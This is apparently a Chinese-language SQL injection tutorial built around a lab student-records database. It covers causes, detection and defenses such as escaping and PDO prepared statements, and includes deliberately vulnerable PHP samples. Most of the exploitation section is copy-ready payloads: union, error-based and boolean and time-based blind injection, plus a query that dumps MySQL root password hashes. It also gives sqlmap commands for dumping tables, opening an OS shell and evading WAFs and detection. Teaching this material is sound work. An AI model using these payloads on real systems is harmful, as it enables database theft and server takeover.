SQL 注入漏洞
概述
SQL 注入(SQL Injection)是一种常见的 Web 应用程序安全漏洞,攻击者通过向应用程序的输入字段插入恶意 SQL 代码,绕过正常的业务逻辑,直接操作数据库,可能导致数据泄露、篡改甚至服务器被控制。
Web 漏洞概述
常见 Web 漏洞类型
- SQL 注入:通过未过滤的用户输入直接拼接 SQL 语句,操控数据库。
- 跨站脚本攻击(XSS):注入恶意脚本,窃取用户数据或控制页面行为。
- 跨站请求伪造(CSRF):伪造用户请求,执行未授权操作。
- 文件包含漏洞:利用不当的文件包含操作执行恶意代码。
- 文件上传漏洞:上传恶意文件导致代码执行或服务器控制。
- CORS 漏洞:攻击者利用恶意网页跨域窃取用户敏感数据或执行未授权的操作。
- 服务端请求伪造(SSRF):诱导服务器发起恶意请求。
- XML 外部实体攻击(XXE):利用 XML 解析漏洞读取敏感文件。
- 弱口令:使用易猜密码导致账户被攻破。
- 未授权访问:绕过权限验证访问受限资源。
- 服务器端模板注入(SSTI):利用模板引擎执行恶意代码。
- 反序列化漏洞:通过不安全的反序列化执行恶意代码。
- 命令/代码执行:直接运行系统命令或代码。
参考资源
- OWSP TOP 10:全球公认的 Web 安全威胁排行榜。
- MITRE ATT&CK:网络攻击技术和策略框架。
漏洞研究方式
- 漏洞的产生原因(原理)
- 漏洞的危害
- 如何挖掘漏洞(黑盒、白盒)
- 如何利用漏洞
- 如何修复漏洞
- 如何绕过常见的拦截
SQL 注入漏洞
产生原因
SQL 注入漏洞的根本原因是应用程序对用户输入的信任,未进行严格的输入验证和过滤,导致用户输入的参数被直接拼接到 SQL 查询语句中。以下是常见的触发场景:
动态 SQL 拼接:后端代码将用户输入直接嵌入 SQL 语句,例如:
SELECT * FROM users WHERE id = '用户输入';
若用户输入
' OR 1='1
,SQL 语句变为:SELECT * FROM users WHERE id = '' OR 1='1';
这将返回所有用户数据。
缺乏参数化查询:未使用参数化查询或预编译语句,导致输入直接影响 SQL 逻辑。
弱输入验证:仅依赖前端验证或简单的黑名单过滤,无法有效阻止恶意输入。
危害
SQL 注入的危害可能对整个系统造成毁灭性影响,包括:
- 数据泄露:窃取数据库中的敏感信息,如用户凭证、个人信息等。
- 数据篡改:修改、删除数据库内容,破坏数据完整性。
- 权限提升:通过获取管理员账户或修改权限实现越权操作。
- 服务器控制:通过数据库写文件或触发系统命令执行,获取服务器控制权(getshell)。
- 拒绝服务:利用高负载查询(如
sleep()
)导致数据库或服务器瘫痪。
挖掘方法
白盒测试(代码审计)
通过审查源代码发现 SQL 注入漏洞,步骤如下:
- 定位 SQL 语句:查找代码中执行数据库查询的部分,关注
SELECT
、INSERT
、UPDATE
等语句。 - 检查可控变量:确认 SQL 语句中是否包含用户输入的变量。
- 验证输入过滤:检查是否存在有效的输入验证或参数化查询。
- 追溯输入来源:确认变量是否来自前端用户输入(如 GET、POST 参数)。
示例代码(存在漏洞):
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $sql);
黑盒测试
通过外部测试探查 SQL 注入漏洞,方法如下:
- 识别交互点:分析网站功能,定位可能与数据库交互的参数(如搜索框、ID 参数等)。
- 测试 SQL 注入:通过构造特殊输入,手工测试,测试可能和数据库有交互的参数,观察系统响应。
- 自动化扫描:使用工具(如 BurpSuite)扫描所有参数。
示例:
- 网站是学生成绩查询,判断和数据库有关
- 实现网站的正常功能(随便输入一个学号试一试)
- 测试 SQL 注入
黑盒测试具体方法(闭合)
以下是常用的测试闭合的方式:
单双引号测试闭合
- 输入
'
或"
,观察是否报错。若单引号报错,可能存在单引号闭合的 SQL 注入。 - 示例响应:
You have an error in your SQL syntax;...
- 输入
逻辑 and 测试闭合
- 输入
正确的值
,返回正常结果; - 同时,输入
正确的值' and 1=1#
,若返回正常结果,说明可能存在单引号闭合的 SQL 注入。
- 输入
逻辑 or 测试闭合
[!CAUTION]
or
方法应该慎用!!!- 输入
随意的值
,查询不到数据; - 但是输入
随意的值' or 1=1#
,可以查到数据,说明可能存在单引号闭合的 SQL 注入。
- 输入
无注释符测试闭合
[!note]
MySQL 注释符:
#
:#
在 URL 中使用需要编码成%23
--
:--
在 URL 中使用需要编码成--+
- 输入
正确的值' and 1= '1
或随意的值' or 1= '1
,可以查到数据,说明可能存在单引号闭合的 SQL 注入。
延时注入测试闭合
[!caution]
随意的值'or sleep(5)#
:慎用,or
会查询所有的数据,比如数据库有 3 个学生,最终就是sleep(15)
,会极大延长睡眠时间。输入
正确的值' and sleep(5)#
或随意的值' or sleep(5)#
,若能触发延迟 5 秒或更久的延迟,说明可能存在单引号闭合的 SQL 注入。
利用方式
前置知识——MySQL 5.0 之后自带的数据库 information_schema
- 数据库名在哪?
information_schema.schemata
- 数据库表名在哪?
information_schema.tables
- 数据库列名在哪?
information_schema.columns
显错注入——联合查询(Union Injection)
利用 UNION SELECT
组合查询,获取数据库信息。步骤如下:
确定列数
使用
ORDER BY
测试遍历查询列数:-1' order by 1# #不报错 -1' order by 2# #不报错 -1' order by 3# #报错 Unknown column '3' in 'order clause'
优化:使用二分法快速定位列数。
-1' order by 1# -1' order by 99# #报错,表明结果在 1-99 之间 -1' order by 50# -1' order by 25# -1' order by 13# -1' order by 6# -1' order by 3# -1' order by 2# #不报错
确定回显位
使用
UNION SELECT
测试哪些列会回显:错误的值' union select 1,2# -1' union select 1,2#
若页面显示
2
,说明第二列是回显位。
替换回显位获取基础信息
用 SQL 查询语句替换回显位,获取基础信息:
user() #获取数据库的连接用户 version() #获取数据库的版本 database() #获取当前数据库名 @@basedir #获取 MySQL 的安装路径
获取数据库信息
利用 MySQL 的
information_schema
数据库获取所有数据库名:-1' union select schema_name,2 from information_schema.schemata# -1' union select group_concat(schema_name),2 from information_schema.schemata# #group_concat 是 MySQL 自带的聚合函数,用于把多行数据聚合成一行显示
获取 school 数据库的表名:
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema="school"#
获取 school 数据库 flag 表的列名:
-1' union select group_concat(column_name),2 from information_schema.columns where table_schema="school" and table_name="flag"#
获取 school 数据库,flag 表的 flag 列的内容:
-1' union select flag,2 from school.flag#
获取 MySQL 密码:
-1' union select group_concat(authentication_string),2 from mysql.user where user='root' and host="%"#
显错注入——报错注入(Error-Based Injection)
当 联合查询不可用但数据库报错信息可见时,可通过报错注入获取数据。常见方法包括:
利用 UpdateXML 报错
利用 XML 解析错误返回数据:
#格式 updatexml(1,concat(0x7e,(SQL语句),0x7e),1) #利用 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# #Ox7e 就是~的 ASCII 码,可以改成其他的比如 0x7b 就是 {
获取所有数据库名:
1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#
使用 1 次显示 1 个结果解决 32 字符限制:
#limit 0,1 从第 0 个开始取 1 个,不包括 0 自己 -1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)# #limit 1,1 从第 1 个开始取 1 个,不包括 1 自己 -1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)#
拼接输出字符获取全部内容:
#获取 flag 数据 1' and updatexml(1,concat(0x7e,(select flag from school.flag limit 0,1),0x7e),1)# # 1' and updatexml(1,concat(0x7e,substring((select flag from school.flag limit 0,1),1,16),0x7e),1)# #substring 1,16 从 1 开始,取 16 个字符,包括 1 自己,取 1-16 字符 1' and updatexml(1,concat(0x7e,substring((select flag from school.flag limit 0,1),17,16),0x7e),1)# #substring 17,16 从 17 开始,取 16 个字符,包括 17 自己,取 17-32 字符 1' and updatexml(1,concat(0x7e,substring((select flag from school.flag limit 0,1),33,16),0x7e),1)# #substring 33,16 从 33 开始,取 16 个字符,包括 33 自己,取 33-48 字符
利用 ExtractValue 报错
用法类似 UpdateXML:
#格式 extractvalue(1,concat(0x7e,(SQL语句),0x7e)) #利用 1' and extractvalue(1,concat(0x7e,(select version()),0x7e))#
利用 Floor 报错
利用
FLOOR
和RAND
制造报错:#格式 SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(O)*2))× FROM information_schema.tables GRouP BY x #利用 #获取当前数据库版本 -1' union select count(*),concat(floor(rand(0)*2),0x7e,version()) x from information_schema.schemata group by x # #获取数据库名 -1' union select count(*),concat(floor(rand(0)*2),0x7e,(select schema_name from information_schema.schemata limit 0,1)) x from information_schema.schemata group by x #
盲注——布尔盲注
前提
- SQL 注入没有回显位
- 没有 MySQL 报错信息
- 网站在查询成功和查询失败的情况下,显示的内容 不同
[!tip]
如果没有正确的值,就要使用 or,
-1'or 1=1#
慎用!
20210101'and 1=1# #网站输出:查询成功
20210101'and 1=2# #网站输出:查询失败
函数
length
函数:获取字符长度length("hello") #结果为:5
left
函数:从左边开始取几个字符left("hello",1) #结果为:h left("hello",3) #结果为:hel
substring
函数:从左边第几位开始取几个字符substring("hello",1,2) #结果为:he
mid
函数:从左边第几位开始取几个字符mid("hello",2,3) #结果为:ell
猜测
猜测当前数据库的长度
正确的值' and length(database()) > 1# #查询成功 正确的值' and length(database()) = 5# #查询失败 正确的值' and length(database()) = 6# #查询成功,说明数据库名长度为 6
猜测其他信息(例如数据库版本、权限)
#猜测数据库版本 20210101' and left(version(),1) = 8# #查询失败 20210101' and left(version(),1) = 5# #查询成功,说明数据库的大版本为 5 #猜测当前的 MySQL 数据库的连接用户是否是 root 20210101' and left(user(),4) = 'root'# #查询成功,说明数据库的连接用户是 root
猜测具体数据(库名、表名、列名、数据)
#猜测第一个数据库 20210101' and (select schema_name from information_schema.schemata limit 0,1) = "information_schema"# #猜测 第二个数据库的 第一个字符 20210101' and left((select schema_name from information_schema.schemata limit 1,1),1) > "a"# 20210101' and left((select schema_name from information_schema.schemata limit 1,1),1) < "z"# 20210101' and left((select schema_name from information_schema.schemata limit 1,1),1) = "m"# #猜测 school 数据库 第一个表的 第一个字符 20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 0,1),1) > "a"# 20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 0,1),1) = "f"# #猜测 school 数据库 第二个表的 第一个字符 20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 1,1),1) > "a"# 20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 1,1),1) = "s"# 20210101' and left((select table_name from information_schema.tables where table_schema="school" limit 1,1),8) = "students"#
盲注——时间盲注
前提
- SQL 注入没有回显位
- 没有 MySQL 报错信息
- 网站在查询成功和查询失败的情况下,显示的内容 相同
测试闭合
时间盲注时,因为网站在查询成功和查询失败的情况下,显示的内容均相同,无法看出区别,只能使用 延时注入 测试闭合
正确的值' and sleep(5)#
错误的值' or sleep(5)# #or 慎用
函数
if(SQL表达式,sleep(5),NULL)
#如果 SQL 表达式是真的,则执行 sleep(5)
#如果 SQL 表达式是假的,则执行 NULL,无事发生
#SQL 表达式与布尔盲注中所使用的条件表达式相同
猜测
#猜测当前数据库的长度
20210101' and if((length(database())>1),sleep(5),NULL)#
#猜测 第二个数据库的 第一个字符
20210101' and if((left((select schema_name from information_schema.schemata limit 1,1),1) = "m"),sleep(5),NULL)#
#猜测 school 数据库 第二个表的字符
20210101' and if((left((select table_name from information_schema.tables where table_schema="school" limit 1,1),8) = "students"),sleep(5),NULL)#
工具 SQLMAP
概述
SQLMAP 是一款开源渗透测试工具,可以自动检测和利用 SQL 注入漏洞,并接管数据库服务器。
安装
[!tip]
如果是 Kali 系统,则不用安装,Kali 系统自带 SQLMAP
#克隆项目
git clone https://github.com/sqlmapproject/sqlmap.git
使用
查看帮助信息
#非 Kali 系统运行查看 SQLMAP 常用帮助信息
python sqlmap.py -h
#非 Kali 系统运行查看 SQLMAP 所有帮助信息
python sqlmap.py -h
#kali 系统运行查看 SQLMAP 常用帮助信息
sqlmap -h
#Kali 系统运行查看 SQLMAP 所有帮助信息
sqlmap -hh
漏洞测试流程
检测 SQL 注入漏洞
[!caution]
如果没有办法得到正确的参数值,直接给
sqlmap -u "url"
这时,salmap 会用 or 进行测试,可能对服务器造成破坏。
#检测 SQL 注入漏洞
sqlmap -u "url"
sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101"
#-u url
获取基础信息
#获取当前数据库名
sqlmap -u "url" --current-db
#获取当前用户
sqlmap -u "url" --current-user
#获取版本及其他信息
sqlmap -u "url" --banner
获取信息
#获取数据库名
sqlmap -u "url" --dbs
sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" --dbs
获取数据库表名
#获取数据库表名
sqlmap -u "url" -D [databaseName] --tables
#-D 指定数据库名
sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" -D school --tables
获取数据库指定表的列名
#获取数据库指定表的列名
sqlmap -u "url" -D [databaseName] -T [tableName] --columns
#-T 指定数据库表名
sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" -D school -T flag --columns
获取具体数据
#获取某一列内容
sqlmap -u "url" -D [databaseName] -T [tableName] -C [columnName] --dump
#-C 指定数据库列名
#获取整个表内容
sqlmap -u "url" -D [databaseName] -T [tableName] --dump
sqlmap -u "http://192.168.85.99/string_sqli.php?student_id=20210101" -D school -T students --dump
常用命令
清除缓存
--flush-session
指定 POST 请求体
--data
sqlmap -u "http://192.168.85.99/string_sqli.php" --data "student_id=20210101"
指定请求报文
请求报文文件可以在 BurpSuite 里点击 copy to file
保存
-r
sqlmap -r [请求报文文件的路径]
#请求报文文件可以在 BurpSuite 里点击 copy to file 保存
默认运行,不再选择 Y/n
--batch
指定数据库的类型
--dbms
#指定数据库为 MySQL
--dbms mysql #可选数据库 mysql、mssql、pgsql、oracle、access、···
指定测试参数
-p [参数名]
-p student_id
指定身份凭据
用于测试需要登陆才能访问的 SQL 注入漏洞(后台漏洞)
--cookie "[cookie]"
sqlmap -u "http://192.168.85.99/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "PHPSESSID=2bdb50be94fda196622367e01f841ea4; security=low"
#使用 -r 命令也可以测试后台漏洞,因为请求体内包含有 cookie
指定利用方式
--tech [B、E、U、S、T、Q]
#B 布尔盲注
#E 报错注入
#U 联合查询
#S 堆叠注入
#T 时间盲注
#Q 内联注入
显示详细信息
-v [0、1、2、3]
#0 不显示任何信息
#1 默认输出
#2 显示调试信息
#3 显示攻击过程
测试等级
--level [1、2、3、4、5]
#1 默认,测试 get 或 post 参数
#2 测试 Cookie 注入
#3 测试常见的请求头
#4/5 测试所有 (一般不用)
隐患等级
--risk [1、2、3]
#1 默认,不会使用 or
#2 高危测试,会大量使用 or
#3 高危测试,会大量使用 or,且会测试 delete 型、update 型、insert 型注入
随机 UA 头
--random-agent
#若不加,默认的 UA 会包含 sqlmap 特征
代理
--proxy
--proxy socks5://[物理机IP]:7897
其他命令
使用 tor 代理
--tor
指定注入前缀(指定闭合)
--prefix "')"
#指定闭合是 ')
指定注入后缀(指定注释)
--suffix "#"
#指定注释是 #
绕过 WAF
--tamper [script]
获取系统命令行
--os-shell
SQL 注入防御和修复
黑名单与白名单
- 黑名单:不允许,黑名单是一种 默认允许 策略,只有明确列出的实体才会被禁止。
- 白名单:只允许,白名单是一种 默认拒绝 策略,只有明确列出的实体才被允许访问或执行操作。
转义引号
- 转义引号通过在特殊字符(例如单双引号)前添加转义符(通常是反斜杠),使其失去特殊语法意义
' --> \' #将单引号转义为 \'
" --> \" #将双引号转义为 \"
<?php
······
//准备要转义的用户输入
$user_input = $_GET['id'];
//对字符串进行转义处理
$escaped = mysqli_real_escape_string($mysqli, $user_input);
//mysqli_real_escape_string() 函数
//第一个参数 $mysqli:数据库连接对象
//第二个参数 $user_input:要转义的字符串
// 转义后会在特殊字符(如单引号)前添加反斜杠
//构建SQL查询语句,将转义后的字符串嵌入SQL语句
$query = "INSERT INTO authors (name) VALUES ('$escaped')";
//执行SQL查询
$mysqli->query($query);
······
?>
检测是否是数字
- 通过检测变量是否是数字或数字字符串,从而过滤掉 SQL 注入代码。
- 函数:is_numeric
<?php
······
//获取用户输入
$user_input = $_GET['id'];
//验证输入是否为数字
if(!is_numeric($user_input)) {
//如果不是数字,终止执行并返回错误消息
die("错误:ID必须是数字");
}
······
?>
检测并替换敏感字符
[!caution]
该方式中,切勿将敏感字符替换为空,否则会造成双写绕过漏洞。
- 将可能的敏感字符替换为其他字符,从而使得攻击者注入的 SQL 语句错误。
- 函数:str_replace
<?php
······
$student_id = $_GET['id'];
//使用str_replace进行简单转义
$escaped_string = str_replace("order", "f@ck'", $student_id);
//str_replace() 函数:
//第一个参数:要查找的子字符串
//第二个参数:替换为其他的字符串
//第三个参数:被搜索的原始字符串
······
?>
拦截敏感字符
- 将可能的敏感字符拦截,若变量中有敏感字符,将返回报错。
- 函数:strstr
<?php
······
//获取用户输入
$user_input = $_GET['id'];
//验证输入是否有敏感字符
if(strstr($user_input,"order")) {
//如果有敏感字符,终止执行并返回错误消息
exit("错误");
}
······
?>
PDO SQL 语句预处理
- SQL 语句预处理即不让输入变量参数与 SQL 语句直接拼接。
<?php
······
//获取用户输入
$user_id= $_GET['user_id'];
//使用命名参数 :user_id 作为占位符
$sql = "SELECT id, username, email FROM users WHERE id = :user_id";
$stmt = $pdo->prepare($sql);
// 将 $user_id 变量绑定到 :user_id 参数,并指定为整数类型
$stmt->bindParam(':user_id', $user_id, PDO::PARAM_INT);
//执行查询
$stmt->execute();
······
?>
PDO SQL 语句预处理步骤:
- 预处理 SQL 语句,此时的 SQL 语句中没有任何可控变量,只有占位符;
- 将参数与变量进行绑定;
- 执行查询。
PDO 可以防止 SQL 注入的原因:参数没有直接拼接到 SQL 语句中
Q:网站使用了 PDO,一定能防御 SQL 注入吗? A:不能,只有正确使用了参数绑定,才可以防御 SQL 注入,如下代码,虽然使用了 PDO,但是还是把参数直接拼接到了 SQL 语句中,依然存在 SQL 注入。
<?php ······ //获取用户输入 $user_id= $_GET['user_id']; //把参数直接拼接到了 SQL 语句中 $sql = "SELECT id, username, email FROM users WHERE id = $user_id"; $stmt = $pdo->prepare($sql); ······ ?>